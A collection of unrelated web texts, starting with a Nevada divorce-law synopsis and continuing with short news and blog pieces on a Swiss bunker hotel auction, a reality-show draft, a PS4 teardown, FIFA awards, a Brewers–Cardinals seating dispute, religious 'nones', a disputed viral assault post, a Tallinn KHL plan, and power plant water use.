reasonable cause and by an appropriate order embodied in its decree, change the name of the wife to any former name which she has legally borne. (Nevada Statutes - Chapter 125 - Sections: 130)  Spousal Support: Not all cases involve support from one spouse to the other. The obligation of one spouse to support the other financially for a temporary or permanent basis is decided on a case-by-case basis as agreed to by the parties or at the court's discretion.  In granting a divorce the court shall consider; The respective merits of the spouses; the post divorce financial condition of each spouse; which spouse actually acquired the property being used for support; and the need to grant alimony to a spouse for the purpose of obtaining training or education relating to a job, career or profession.  In addition to any other factors the court considers relevant in determining whether such alimony should be granted, the court shall consider: (a) Whether the spouse who would pay such alimony has obtained greater job skills or education during the marriage; and (b) Whether the spouse who would receive such alimony provided financial support while the other spouse obtained job skills or education. (Nevada Statutes - Chapter 125 - Sections: 150) Read more about Nevada alimony/spousal support  Child Custody: When minor children are involved in a divorce, the Nevada courts will do everything possible to help lessen the emotional trauma the children may be experiencing. If the parents cannot come to an agreement regarding the issues involving the children, the court will establish the custody order at its discretion.  In determining custody of a minor child in an action, the sole consideration of the court is the best interest of the child. If it appears to the court that joint custody would be in the best interest of the child, the court may grant custody to the parties jointly.  Preference must not be given to either parent for the sole reason that the parent is the mother or the father of the child.  In determining the best interest of the child, the court shall consider, among other things: (a) The wishes of the child if the child is of sufficient age and capacity to form an intelligent preference as to his custody; (b) Any nomination by a parent or a guardian for the child; and (c) Whether either parent or any other person seeking custody has engaged in an act of domestic violence against the child, a parent of the child or any other person residing with the child. (Nevada Statutes - Chapter 125 - Sections: 480, 490)  Read more about Nevada child custody  Child Support: Nevada child support guidelines uses the Percentage of Income Formula which calculates the support obligation as a percentage of the income of the non-custodial parent who is obligated to support the child. This method simply applies a percentage to the income of the parent according to the number of children requiring support.  The state of Nevada has child support guidelines devised for determining the appropriate child support amount. These guidelines will be applied to any case in which the parents can not agree on a reasonable month obligation. When applying the guidelines, the court will also consider several other factors that will help determine whether or not it is appropriate to deviate form the amount proposed by the use of the guidelines worksheet.  The court shall consider the following factors when adjusting the amount of support of a child upon specific findings of fact: (a) The cost of health insurance; (b) The cost of child care; (c) Any special educational needs of the child; (d) The age of the child; (e) The responsibility of the parents for the support of others; (f) The value of services contributed by either parent; (g) Any public assistance paid to support the child; (h) Any expenses reasonably related to the mother's pregnancy and confinement; (i) The cost of transportation of the child to and from visitation if the custodial parent moved with the child from the jurisdiction of the court which ordered the support and the noncustodial parent remained; (j) The amount of time the child spends with each parent; (k) Any other necessary expenses for the benefit of the child; and (l) The relative income of both parents. (Nevada Statutes - Chapter 125 - Sections: 230, 070, 080, 090) Read more about Nevada child support  Copyright Notice:The above synopsis of Nevada divorce laws is original material which is owned and copyrighted by Divorce Source, Inc. This material has been adapted from applicable state laws and unauthorized reproduction is prohibited. Violation of this notice will result in immediate legal action.  In order to file for a divorce in Nevada, residency requirements must be met for the court to accept the case. If the court discovers it does not have jurisdictional rights to hear the case it will not be accepted or it will eventually be dismissed. The requirements are as follows:Divorce from the bonds of matrimony may be obtained by verified complaint to the district court of any county: (a) In which the cause therefor accrued; (b) In which the defendant resides or may be found; (c) In which the plaintiff resides; (d) In which the parties last cohabited; or (e) If plaintiff resided 6 weeks in the State before suit was brought.Unless the cause of action accrued within the county while the plaintiff and defendant were actually domiciled therein, no court has jurisdiction to grant a divorce unless either the plaintiff or defendant has been resident of the State for a period of not less than 6 weeks preceding the commencement of the action. (Nevada Statutes - Chapter 125 - Sections: 020)The Complaint for Divorce must declare the appropriate Nevada grounds upon which the divorce is being sought. The appropriate lawful ground will be that which the parties agree upon and can substantiate, or that which the filing spouse desires to prove to the court. The divorce grounds are as follows:Divorce from the bonds of matrimony may be obtained for any of the following causes:No Fault:1. When the husband and wife have lived separate and apart for 1 year without cohabitation the court may, in its discretion, grant an absolute decree of divorce at the suit of either party. 2. Incompatibility.Fault:1. Insanity existing for 2 years prior to the commencement of the action. Upon this cause of action the court, before granting a divorce, shall require corroborative evidence of the insanity of the defendant at that time. (Nevada Statutes - Chapter 125 - Sections: 010)Plaintiff. The Plaintiff is the spouse who initiates the filing procedure with the family law or domestic relations court.Defendant. The Defendant is the spouse who does not file the initial divorce papers, but rather receives them by service.In the District Court for __________ County, Nevada. This is the Nevada court where the divorce will be filed. The court will assign a case number and have jurisdictional rights to facilitate and grant the orders concerning, but not limited to: property and debt division, support, custody, and visitation. The name of the court is clearly represented at the top of all documents that are filed.Complaint for Divorce and Decree of Divorce. These are the essential documents needed to start and finalize a divorce according to Nevada law. There are anywhere from ten to twenty other documents that may be required throughout the filing process. A few other documents that are typically filed during the process are: Civil Cover Sheet, Family Court Cover Sheet, Marital Settlement Agreement, Affidavit of Resident Witness Form, and Certificate of Mailing.District Clerk's Office. The clerk or the clerk's assistants will be the people managing your paperwork with the court. The clerk's office will keep the parties and the lawyers informed throughout the process in regards to additional paperwork that is needed, further requirements, and hearing dates and times.Nevada is a "Community Property" state. Community property is all property that was acquired during the marriage. This property will be divided equally (50-50) by the court if the parties are not able to come to an agreement.In granting a divorce, the court shall dispose of any property held in joint tenancy (community property). If a party has made a contribution of separate property to the acquisition or improvement of property held in joint tenancy, the court may provide for the reimbursement of that party for his or her contribution. The amount of reimbursement must not exceed the amount of the contribution of separate property that can be traced to the acquisition or improvement of property held in joint tenancy, without interest or any adjustment because of an increase in the value of the property held in joint tenancy. The amount of reimbursement must not exceed the value, at the time of the disposition, of the property held in joint tenancy for which the contribution of separate property was made.In determining whether to provide for the reimbursement, in whole or in part, of a party who has contributed separate property, the court shall consider: (a) The intention of the parties in placing the property in joint tenancy; (b) The length of the marriage; and (c) Any other factor which the court deems relevant in making a just and equitable disposition of that property. (Nevada Statutes - Chapter 125 - Sections: 150)In all suits for divorce, if a divorce is granted, the court may, for just and reasonable cause and by an appropriate order embodied in its decree, change the name of the wife to any former name which she has legally borne. (Nevada Statutes - Chapter 125 - Sections: 130)Not all cases involve support from one spouse to the other. The obligation of one spouse to support the other financially for a temporary or permanent basis is decided on a case-by-case basis as agreed to by the parties or at the court's discretion.In granting a divorce the court shall consider; The respective merits of the spouses; the post divorce financial condition of each spouse; which spouse actually acquired the property being used for support; and the need to grant alimony to a spouse for the purpose of obtaining training or education relating to a job, career or profession.In addition to any other factors the court considers relevant in determining whether such alimony should be granted, the court shall consider: (a) Whether the spouse who would pay such alimony has obtained greater job skills or education during the marriage; and (b) Whether the spouse who would receive such alimony provided financial support while the other spouse obtained job skills or education. (Nevada Statutes - Chapter 125 - Sections: 150)When minor children are involved in a divorce, the Nevada courts will do everything possible to help lessen the emotional trauma the children may be experiencing. If the parents cannot come to an agreement regarding the issues involving the children, the court will establish the custody order at its discretion.In determining custody of a minor child in an action, the sole consideration of the court is the best interest of the child. If it appears to the court that joint custody would be in the best interest of the child, the court may grant custody to the parties jointly.Preference must not be given to either parent for the sole reason that the parent is the mother or the father of the child.In determining the best interest of the child, the court shall consider, among other things: (a) The wishes of the child if the child is of sufficient age and capacity to form an intelligent preference as to his custody; (b) Any nomination by a parent or a guardian for the child; and (c) Whether either parent or any other person seeking custody has engaged in an act of domestic violence against the child, a parent of the child or any other person residing with the child. (Nevada Statutes - Chapter 125 - Sections: 480, 490)Nevada child support guidelines uses the Percentage of Income Formula which calculates the support obligation as a percentage of the income of the non-custodial parent who is obligated to support the child. This method simply applies a percentage to the income of the parent according to the number of children requiring support.The state of Nevada has child support guidelines devised for determining the appropriate child support amount. These guidelines will be applied to any case in which the parents can not agree on a reasonable month obligation. When applying the guidelines, the court will also consider several other factors that will help determine whether or not it is appropriate to deviate form the amount proposed by the use of the guidelines worksheet.The court shall consider the following factors when adjusting the amount of support of a child upon specific findings of fact: (a) The cost of health insurance; (b) The cost of child care; (c) Any special educational needs of the child; (d) The age of the child; (e) The responsibility of the parents for the support of others; (f) The value of services contributed by either parent; (g) Any public assistance paid to support the child; (h) Any expenses reasonably related to the mother's pregnancy and confinement; (i) The cost of transportation of the child to and from visitation if the custodial parent moved with the child from the jurisdiction of the court which ordered the support and the noncustodial parent remained; (j) The amount of time the child spends with each parent; (k) Any other necessary expenses for the benefit of the child; and (l) The relative income of both parents. (Nevada Statutes - Chapter 125 - Sections: 230, 070, 080, 090) Start Your Nevada Online Divorce Today  Easy, Fast and Affordable with a 100% Guarantee. Find Nevada Divorce Professionals in Your Area: Choose a County! CARSON CITY CHURCHILL CLARK DOUGLAS ELKO ESMERALDA EUREKA HUMBOLDT LANDER LINCOLN LYON MINERAL NYE PERSHING STOREY WASHOE WHITE PINE Join the Network Nevada Divorce Products, Services and Solutions  Nevada Divorce Resources to Help You Through the Process. Nevada Mandatory Online Parenting Class  Easy and convenient - complete at your own pace online. Discount Divorce Bookstore  Over 100 Titles of the Best Books on Divorce & Custody. Divorce Download Center  Instantly Download, Books, Manuals, & Forms. Free Nevada Divorce Worksheet & Separation Agreement  Your Guide to Get Organized and Put Everything in Writing. Nevada is a community property state, which means that unless the spouses agree to divide the marital property differently, the court will split it 50/50 between them.
-The auction was held on July 10th in Biasco in the canton of Ticino and was poorly advertised, online news site Le Matin reported.  Lucia Filippi, the new owner of the La Claustra hotel, said he attended the auction without any intention of purchasing the property. When the auction had eventually kicked off with a call for an opening bid of 1,000 francs ($1,023), he timidly put up his hand and was entirely amazed when no further bids followed.  There were several blunders at the auction. First, another party who wanted to make an initial bid of 100,000 francs ($102,294), suddenly realized he had no money or cheque book with him. Then, because of a procedural mistake, the auction had to be started once again.  “I do not understand why the hotel has gone so cheaply,” Paolo Minotti, secretary of the Ticino section of the Swiss Heritage Society told the website.  The unique hotel is a conversion of an underground artillery fort at the heart of the Gotthard. Some 250 metres underground, the stunningly situated luxury hotel consists of 17 rooms, a restaurant, library, spa and swimming pool, as well as 4,000 square metres of conference space, Le Matin reported.  The hotel, designed by Jean Odermatt as a kind of meditative post-modern monastery, was opened in 2004 after private investors and the Swiss state invested 4 million francs ($4,092,400) to carry out the necessary works.  The hotel was declared bankrupt in 2010 due to insufficient visitors and high operating costs. The electricity bill alone came to 60,000 francs ($61,373) a year.  Filippi has confirmed that he has already had several offers for the hotel. It is not yet clear what he intends to do with it.
-If you ask around about the all time great Challenge seasons, one of them that comes up between people of the older, middle, and new generation of Challenge fans is Cutthroat. I’m personally against big team formats, it allows players to hide, and it’s more a game of dropping dead-weight before the final than actually winning any challenges.  Cutthroat had those dead-weight shedding elements, but the 20k daily missions meant something for the competitors, and by the end, making sure you did not run out of guys also mattered. For Cutthroat, they made all the competitors run to the Gulag where the final 3 people to make it would be the team captains. Dumb twist, making the worst 3 people pick, however it added an element of random that helped the game.  These people were Camila, Shauvon, and Emilee,they drafted in that order, with Camila being on the Red Team, Shauvon being on the Grey Team, and Emilee being on the Blue Team.  The draft went as such:  Atrocious, right? Well, I’m going to fix it today.  Round 1:  Camila selects Derrick K first overall, he is coming off of three straight Challenge victories, and is the smart choice for veteran leadership.  Shauvon selects Johnny second overall, he is coming off of two straight Challenge victories.  Emilee selects Abram third overall, he is a beast, and has already won 2 Challenges.  Round 2:  Camila selects Laurel fourth overall, coming off one of the great rookie seasons all time on Fresh Meat 2.  Shauvon selects Jenn fifth overall, because she had a good reputation as a solid competitor, I guess?  Emilee selects Paula sixth overall, banking on Paula’s endurance for a final.  Round 3:  Camila selects Brad seventh overall, he is a hungry for a win, and has always been a good competitor.  Shauvon selects Dunbar eight overall, people think he was a good competitor for some reason. Not as egregious as picking him first overall.  Emilee selects Tyler ninth overall, after being told to do so by Paula, her Key West cast-mate.  Round 4:  Camila selects Tori tenth overall, thinking she should keep together the married couple, a dumb decision repeated! At least this time Tori was not the first female pick.  Shauvon selects Sarah eleventh overall, knowing Sarah did very well on the Ruins.  Emilee selects Emily twelfth overall, remember this was Emily’s rookie season, and I don’t think anyone had seen DC yet.  Round 5:  Camila selects Dan thirteenth overall, as recommendation by Derrick K.  Shauvon selects Vinny fourteenth overall, due to her attraction.  Emilee select Ty fifteenth overall, just basing on his overall outer physique.  Round 6:  Camila selects Melinda sixteenth overall, with Tori urging her to as Melinda’s good friend.  Shauvon selects Theresa seventeenth overall, for Theresa’s athletic look.  Emilee selects Ayiiia eighteenth overall, Cancun friends.  Round 7:  Camila selects Chet nineteenth overall. Chet has not given them a reason to not pick him, and Brad did a season with him (The Ruins).  Shauvon selects Brandon twentieth overall. Not much is known of him from his Fresh Meat season.  Emilee selects Derek twenty-first overall, another Cancun friend.  Round 8:  Camila selects Cara Maria twenty-second overall, hoping she shows the same potential she did on the Fresh Meat tryout.  Shauvon selects Mandi twenty-third overall, wants another blonde on her team.  Emilee selects Katie twenty-fourth overall, Katie is Katie.  Round 9:  Camila selects Luke twenty-fifth overall, he is not Big Easy.  Shauvon selects JD twenty-sixth overall, he is not Big Easy.  Emilee selects Big Easy twenty-seventh overall, Gauntlet 3.  The New Teams  New Red Team: Derrick K, Brad, Dan, Chet, Luke, Camila, Laurel, Tori, Melinda, Cara Maria  New Grey Team: Johnny, Dunbar, Vinny, Brandon, JD, Shau,von, Jenn, Sarah, Theresa, Mandi  New Blue Team: Abram, Tyler, Ty, Derek, Big Easy, Emilee, Paula, Emily, Ayiiia, Katie  What is obvious here? It’s that the Red Team is far and away the best. Abram captained an amazing Grey Team on the original Cutthroat, but having Laurel made it really easy whenever there were female portions of the competitions. Having solid guys like Derrick K and Brad who can combine to make 1 Abram, gives the Red Team a lot of strength. They also get two solid females in Camila and Tori who I believe are better than the 2010 versions of Sarah and Cara Maria.  The Red Team should be the the best team though! It was a pick up basketball style of draft instead of a snake draft format. Bunim-Murray is lucky that these people are dumb enough to mess up the draft with every other selection, but if you had legitimate good players picking, then this would have been a completely unfair format.  The New Grey Team looks decent on paper, except they have no brains and no leadership, due to this they will falter in all daily missions, and rely on eliminations to form a strong team for the final.  The New Blue Team is hopeless, except for the fact that they have Tyler, Paula, Abram, and Emily S. If they can hold onto that nucleus for the final, we could see them win. All they need to do is shed their dead weight.  Conclusion: The original Cutthroat was incredible season with a ton of fun, an amazing Grey team, and a disappoint finish in the final. The moral story is:  DON’T PICK DUNBAR FIRST OVERALL IN ANYTHING EVER
-Formatting may be lacking as a result. If this article is un-readable please report it so that we may fix it.  Posted on November 15, 2013, Mike Sharkey Secondary CPU Found in PlayStation 4 Teardown  The original PlayStation 3 included a second CPU, Sony’s Emotion Engine chip, to enable backwards compatibility with the PlayStation 2. Turns out Sony has included a second CPU in the PlayStation 4, too, but at this point it’s unclear precisely why it’s in there.  The folks over at NeoGaf were quick to discover something buried in the iFixit PlayStation 4 teardown: a “Secondary/Low Power Processor for Network Tasks.” The processor is labeled as SCEI (Sony Computer Entertainment, Inc.) and it even includes 256 MB of its own Samsung DDR3 SDRAM. (In the picture above of the PS4 motherboard, the primary CPU is outlined in red, the second in yellow.)  The PlayStation 4′s primary CPU is an 8-core AMD Jaguar, so it’s interesting that Sony opted to throw “network tasks” to an entirely different CPU instead of relying on one of the primary CPU’s cores. The folks on NeoGaf are speculating this secondary chip is what enables the PS4 to cache 15 minutes of video recording. That’s significant when you consider the Xbox One is limited to five minutes of video capture.  It’s also possible this secondary chip is linked to Sony’s PS4 partnership with cloud streaming service Gaikai. While not available at launch, Gaikai will eventually provide instant game demos and PlayStation legacy titles on the PS4.  See what you can discover about Sony’s rather elegant looking system in iFixit’s PlayStation 4 teardown.
-Which awards are up for grabs, and who is shortlisted? The Best Fifa Men's Player  Three players have been nominated for the award from an initial shortlist of 24. Last year’s winner Cristiano Ronaldo, has scored 45 goals in 48 appearances this calendar year, including 34 goals for club and 11 for country. These incredible individual statistics are bolstered by Ronaldo winning the Champions League and La Liga in the 2016/17 campaign. Lionel Messi is another unsurprising feature within the best player award, with 49 goals and 11 assists in 50 appearances in 2017. The most expensive player in the world, Neymar is the outside bet to be crowned the greatest footballer on earth.  The Best Fifa football coach award  The best coach award is separated into male and female categories.  Juventus boss, Massimiliano Allegri, after winning the league and Coppa Italia last season. Chelsea manager, Antonio Conte, who in his first season in English football won the Premier League, setting a new record along the way achieving 30 wins in a single season. Finally Real Madrid’s Zinedine Zidane makes the list after winning the Champions League and Los Blancos' first league title for five years.  In the women's section, the the top three comprise of Denmark’s manager Nils Nielsen, who guided her side to the final against Holland in this year European Championships. Lyon coach Gerard Precheur is nominated after winning the Champions League, the French League Cup and the French Cup, while Sarina Wiegman also features after leading Holland to the 2017 European championships.  The Best FIFA goalkeeper award  Gianluigi Buffon of Juventus is nominated, having gone 600 minutes without conceding in the Champions League, while Keylor Navas of Real Madrid won his second consecutive Champions League along with a La Liga title. Manuel Neuer makes up the three-man short list.  The Puskas Award  The Puskas award is for the best goal of the year. This year the three finalists include Deyna Castellanos of Venezuela women's side, Olivier Giroud for his goal for Arsenal, below, and South African goalkeeper Oscarine Masuluke.
-ST. LOUIS -- For the past few days, players, coaches and team officials on the Milwaukee Brewers and St. Louis Cardinals have been trying to squash the notion that the dislike between these two division rivals is anything extraordinary. The hype, they collectively have said, is mostly a media creation, and somewhat of an affront to how both teams take their jobs seriously, professionally.  "I think it's really a disservice to the competition," Cardinals manager Tony La Russa said after Game 1 of their National League Championship Series. "I think there are even some fans, or media, that are going to be disappointed if there isn't some crap flying in this series, and that's a shame. I don't want our players and their players to be egged on, and I don't think they will. We're going to play as hard and good against each other as we can."  And through the first two games, it seems both teams have. But on the eve of Game 3, with the NLCS tied at 1-all, there is no denying that the Cardinals have irked some in Milwaukee's organization over the past few days with a decision that some feel is a potential threat to the safety of their family members.  "I've never seen or heard anything like this before," one veteran player said.  The veteran player is referring to the Cardinals' decision to not give the Brewers a dedicated family section in the stands during the games here in St. Louis this week. On the surface, most fans and media probably don't care about something that happens behind the scenes that doesn't impact the game. But with the tensions (perceived or not) already a bit raised for this series, and after hearing about what happened to some family members of the Texas Rangers in the playoffs last year (when fans at Yankee Stadium spilled beer and spit on some of the players' wives), the players said there is a legitimate concern.  "You know I think it's bush [league]," Brewers center fielder Nyjer Morgan said. "Our families, they've got to be secured. It's kind of garbage. We put their [families] in a secure section and then they want to spread ours out. I don't know why they play the mental games, but that right there, they shouldn't play the games right there because that's our family and our family has got to be secure. But that's just them, that's how they operate right there I guess."  The Brewers allotted tickets to family members of the Cardinals in a section behind the nets behind home plate -- to shield them from foul balls -- for the first two games of the NLCS this week in Milwaukee. The Cardinals, who had the same policy in the first round for the families of the Phillies, are not extending the same courtesy.  Instead the family section of allocated tickets -- roughly 130 to 150 tickets -- will be in three party suites down the right-field line, with indoor and outdoor seating and food and beverage. One of the issues is that the other 200 or so tickets for family members and friends are spread throughout the ballpark. That is a concern for the players.  “ You know I think it's bush [league]. Our families, they've got to be secured. It's kind of garbage. We put their [families] in a secure section and then they want to spread ours out ” -- Brewers center fielder Nyjer Morgan  But is it a form of gamesmanship by St. Louis, which some Brewers believe? Or standard operating procedure, a method to ensure the Cardinals are honoring their season-ticket holders with the best possible seats during the postseason?  "I understand it's a very competitive series," said Cardinals general manager John Mozeliak, who was aware of the Brewers' dissatisfaction. "Obviously we play each other because we're in the same division and things can get heated up. But as far as ticket allocation and things of that nature, I don't think any of this is part of gamesmanship. I think, frankly, is what we were trying to accomplish is providing them with a great atmosphere to watch the game in a protected environment."  It is just another example of a divide. Before this series even started, MLB was on alert about tensions spilling onto the field. Joe Torre, MLB's vice president of baseball operations, had a chat with both managers before Game 1, reminding them to not let it escalate.  While the latest issues with the seats may seem inconsequential, the Brewers were upset enough that they alerted the players' union about it, seeking a way to have the family members sit in one section somewhere behind home plate. During the regular season this is standard practice -- including at Busch Stadium. The benefit? That if there are any problems, there is dedicated security able to assist any family members. While most wives, children and extended family aren't recognizable, there are some instances in which a few are. With alcohol, passion and other factors at play -- especially during the playoffs, when emotions are usually heightened -- the last thing the players want, they said, is to have to worry about a thing like seating charts.  The Brewers had a quiet workout on Tuesday. They hope things go just as smoothly at Busch Stadium on Wednesday for Game 3. AP Photo/Charles Rex Arbogast  "When [I worked for] the Rangers we were told not to wear Rangers' gear, and go in and enjoy the game," Brewers general manager Doug Melvin said. "That's not the way it should be. But you'd like to feel safe at the ballpark. That's more of an MLB issue, more of a players' union issue."  The Brewers consulted with the union this week, and people within the ticketing department at MLB also were made aware of the Brewers' concerns. But the seat allocation is not part of the collective bargaining agreement, instead it is a postseason protocol that clubs must adhere to. The Cardinals say they have been doing this for years and this is the first time a club has complained. Chris Narveson, the Brewers' players' union rep, called it a discrepancy between the two organizations.  "We're there to play baseball and you just want to make sure your family is safe in [the] stands so you don't have to worry about them during the game," Narveson said. "It's a tough situation because you don't want to make it into too big of a deal, but at the same time when you're on the field, you don't want to have to worry about it."  While the calls to the union and MLB will likely not affect any real change, the method by the Cardinals is just another example of the little things behind the scenes that irk other players around the league, multiple Brewers said. But at least one Milwaukee player said he could understand from a financial perspective why the Cardinals would spread the families out.  "I think I'm probably in the minority," he said. "I don't mind it but it would be nice if they had seats for our families behind the net."  Melvin said it would be his recommendation that the families not wear any Brewers clothing, but that he hadn't relayed that to his players. He added it was his understanding the issue had been settled. He was asked whether this was another part of the ongoing narrative between these two teams and their mutual dislike for one another.  "I don't know. There's been a lot of talk about all of that," he said. "I think we're two very professional organizations who are very competitive on the field. I haven't noticed where it's gotten to that point in the stands."  While St. Louis fans have the reputation of being among the best in baseball, Melvin and the players conceded that it is better to err on the side of caution. And while the suites could be seen as an upgrade by some, in this instance, it has the Brewers perturbed that some of their attention was focused on dealing with the logistics about the safety of their families.  "It's a family environment, but knowing it's a rival team and fans are going to be a little bit [rowdy]," Morgan said, "hopefully they figure something out and don't let that try and be a distraction to what we're trying to do."  Amy K. Nelson is a staff writer for ESPN.com. She can be reached at Amy.K.Nelson@espn.com.
-With guest host Ray Suarez.  Twenty-three percent of Americans say they have no religious affiliation. What do they believe? And what does it mean for the country?  In this February 15, 2016 photo, residents and community members gather at the Sanctuaries DC, a Washington, D.C. based community gathering space for people of all religious and non-religious backgrounds. (Courtesy the Sanctuaries)  When opinion researchers ask about religious affiliation, they lay out the obvious choices — Christian, Jewish, Muslim, Hindu. If you check “No Affiliation,” or “None,” what do we call you? The n-o-n-e, or “Nones,” are the fastest-growing faith group in the country, and a major Democratic Party constituency. After decades of religiously flavored politics, and culture, how will America change? This hour On Point, the rise of the nones.  -- Ray Suarez  Guests  Phil Zuckerman, professor of sociology at Pitzer College. Author of “Faith No More," “Society Without God" and "Living the Secular Life" (@phil_zuckerman)  Angie Thurston, master’s of divinity student at the Harvard Divinity School and co-author, with Casper ter Kuile, of the report, “How We Gather.” President of the Harvard Divinity School Nones.  Deborah Jian Lee, journalist, radio producer and co-founder of One Book, One Church. Author of "Resucing Jesus: How People of Color, Women and Queer Christians Are Reclaiming Evangelicalism." (@deborahjianlee)  From The Reading List  Washington Post: Meet the ‘Nones,’ the Democratic Party’s biggest faith constituency — "A huge group that skews under 40, white and non-immigrant, the Nones want politicians to tone it down not because they’ve made some final determination about God — the vast majority are believers — but because they are fed up with religious institutions they see as corrupt and discriminatory. And in the process, they are rewriting the country’s political discourse on morality."  Pew Research Center: A closer look at America’s rapidly growing religious ‘nones’ — "Overall, religiously unaffiliated people are more concentrated among young adults than other age groups – 35% of Millennials (those born 1981-1996) are 'nones.' In addition, the unaffiliated as a whole are getting even younger. The median age of unaffiliated adults is now 36, down from 38 in 2007 and significantly younger than the overall median age of U.S. adults in 2014 (46)."  NPR News: 'Religious Nones' Are Growing Quickly. Should Republicans Worry? — "There has never been an avowedly atheist president of the U.S., and only two have been unaffiliated with any religion, according to Pew — Thomas Jefferson, who, while fascinated by Jesus' teachings, was considered a deist, and Abraham Lincoln, whose religious beliefs remain a topic of debate. And, as of January, only one member of the current Congress reported being religiously unaffiliated."
-Is it also believable?  That's what some are beginning to wonder on Friday morning, well after the story posted to Facebook by Tu, an undergraduate student at the University of Minnesota, had gone viral. Originally posted Wednesday night, Tu's post had been shared more than 20,000 times within a couple days.  It also has more than 5,000 comments, and counting; many of the most recent ones are not supporting Tu's tale of heroism, but ridiculing her and those who shared a story that's now being called into question.  According to Tu, she was walking across the Washington Avenue bridge on the University of Minnesota campus Wednesday when she was accosted by a white man, who was accompanied by a group of friends.  Tu says the man yelled that she should "go back to Asia." Tu was "shocked," and tried to walk away from the man, who she says pursued her, telling her she was being disrespectful.  Tu says the man's call for her to leave the country was especially insulting to her, since she's an American citizen. She also wrote that he blamed "affirmative action" for her getting into the University of Minnesota.  Tu writes she again tried walking away from the man, who grabbed her by the wrist. She told him to let her go, and he refused, despite Tu warning that he would be "injured" if he didn't.  She writes:  "He took my warning as a joke, and said " okay, lets fight then, you can't beat me anyways look at how small and shrimpy you are", and he actually dared to punch me ( more than once). Things got serious really quick cause kathy doesn't mess around with that stuff. Before he could attack me again I used my self defense skills and got out of the hold he had on my wrist and punched him straight up in the throat ( Which honestly I am not apologetic for what so ever)."  Tu then says the man's friends rushed to his aid, accused Tu of "assaulting" her bully, and called the police on her. (Tu's story doesn't specify which police department was called to the scene.) When said cops arrived, they initially took the side of the man and his friends, Tu writes, and she was placed in handcuffs while waiting for them to "check [her] information."  She writes she was eventually taken out of handcuffs, and after hearing a warning delivered in "police jargon" was allowed to leave on her own volition.  It's this last part, about Tu's troubling interaction with the police, that's tripping people up this morning. Neither the University of Minnesota Police Department nor the Minneapolis Police Department has any record of responding to a call on the Washington Avenue Bridge.  "Many people have contacted us about a social media posting about an incident with a female on the Washington Avenue Bridge yesterday," reads a post from the Minneapolis Police Department's Facebook account. "At this time we have not been able to find a record of a police call relating to this incident. If anyone has information please contact us, we would like to talk to the person who posted this on social media."  Likewise, campus police used social media to put out a call for more information about an alleged incident they claim to be unaware of.  We heard complaint from student related 2 Wash bridge yestdy, UMPD didnt respond to bridge or make an arrest — U of MN Police Dept (@UMPDGopher) November 10, 2016  We would like to talk to this individual involved. Please contact 624-COPS so we can look into it — U of MN Police Dept (@UMPDGopher) November 10, 2016  Sorry we don't have many details other than a female said she was assaulted on the Wash bridge and then handcuffed by officers. — U of MN Police Dept (@UMPDGopher) November 10, 2016  Again, UMPD was not involved but want to talk to the female who posted this on social media — U of MN Police Dept (@UMPDGopher) November 10, 2016  City Pages attempted to reach Tu on Thursday and again on Friday. She has not responded.  UPDATE: As of mid-Friday morning, Tu has deleted the Facebook post telling the story of her fight on the Washington Avenue bridge.
-Estland + FÖLJ  Här är Crowns ”nya hem”  avTomas Ros  HOCKEY 2 mars 2017 19:18  Här är Crowns-gängets nya huvudspår.  Ett KHL-lag i Tallinn.  Flera möten i Estland har ägt rum under senvintern.  – Från den dagen vi fick nej från Svenska ishockeyförbundet har vi jobbat varje dag med att hitta andra alternativ. Det behöver jag inte dölja, säger Leif R Carlsson.  Foto: ANDREAS L ERIKSSON / BILDBYRÅN  Ni minns säkert bomben som slog ned i svensk ishockey för ett år sedan.  Svenska Crowns ville in i KHL.  Man hade för avsikt att spela hemmamatcherna i olika arenor i Sverige och delta i världens näst bästa liga.  Det blev inget, hittills i alla fall.  Svenska Ishockeyförbundet sa nej, bland annat. Och projektet, och programförklaringen, fick en del kritik.  Nu har det gått ett år och Crown-gänget, med Leif R Carlsson som ambassadör, jobbar vidare.  Nu är huvudspåret att starta ett KHL-lag i Estlands huvudstad Tallinn.  ”Andra alternativ”  Carlsson är inte lika utåtriktad som vid presskonferensen för ett år sedan på Lidingö och vill inte ge några detaljer om planerna.  – Från den dagen vi fick nej från Svenska ishockeyförbundet har vi jobbat varje dag med att hitta andra alternativ. Det behöver jag inte dölja. Men vilka alternativ det är vill jag inte gå in på. Jag kan varken bekräfta eller dementera några detaljer i dagsläget, säger han.  Som ny kedjekamrat till Leif R Carlsson har Per-Erik Holmström tillkommit. Han var initiativtagare till Nordic Wikings som 2005–2006 spelade i Asia League Ice Hockey med nordiska spelare.  Och han har bra kontakter i det kinesiska KHL-laget Kunlun Red Star samt brinner för bandyns utveckling öster om Ryssland. Han lade också ett bud, tillsammans med andra investerare, på NHL-klubben New York Islanders för 15 år.  Bygga upp hockeyn  Tanken är att göra en helhet den här gången.  Bygga upp den estländska ishockeyn och starta både ett seniorlag i KHL samt ett juniorlag, där det kan ingå svenska spelare.  Basen ska vara i Estland och matcherna kan spelas i Tondiraba Jäähall, med en kapacitet på 5900 åskådare. Dinamo Riga har redan spelat två KHL-matcher där inför en utsåld arena i december.  Har ni förhoppningar om att kunna sjösätta ett lag nästa KHL-säsong?  – Det vet jag inte. Det är en sak att få saker muntligt, en annan sak att ha det på papper. Så länge vi inte har något på papper vågar inte jag ha några förväntningar. Det är inget som är säkert, säger Leif R Carlsson.  Enligt uppgift till Sportbladet har Crowns-gänget varit i Tallinn flera gånger den senaste tiden för förhandlingar.  2 mars 2017 19:18
-Power plants are guzzling water across the United States and increasing the risk of blackouts in the Southeast, where the precious resource is drying up.  "Burning Our Rivers," a new report by the River Network, found that it takes about 40,000 gallons of water to meet the average American household's energy needs, which is five times more than the amount of water used directly in that home.  Of the various modes of power production, hydropower has the biggest water footprint. Each day, enough water evaporates from behind hydroelectric dam reservoirs to meet the demands of more than 50 million people.  Coal-, nuclear- and natural gas- powered plants are also thirsty, in need of water to cool their generators. These energy facilities are the fastest-growing users of freshwater resources and already account for more than half of all fresh surface water withdrawals from rivers. That is more than any other economic sector, including agriculture, write the authors.  More than a quarter of the water fossil-fuel plants take in is turned into steam. The remaining liquid is contaminated with pollutants and excess heat and returned to waterways, where it can kill wildlife and create toxic algae blooms.  "What we are seeing now is the way we produce electricity can threaten our water supplies, and it's already compromising our water quality across the nation," said Wendy Wilson, director of River Network's energy and climate program and author of the new report.  The results found in "Burning Our Rivers" echo a report released last fall by the Union of Concerned Scientists (UCS), which also found that conventional power plants are stressing U.S. lakes and rivers by removing too much water or discharging it at extremely warm temperatures, to the detriment of surrounding ecosystems (ClimateWire, Nov. 15, 2011).  In the Southeast, which has been battling a drought for more than a year, the impact of power plants is especially worrisome and could lead to brownouts and blackouts throughout the summer and 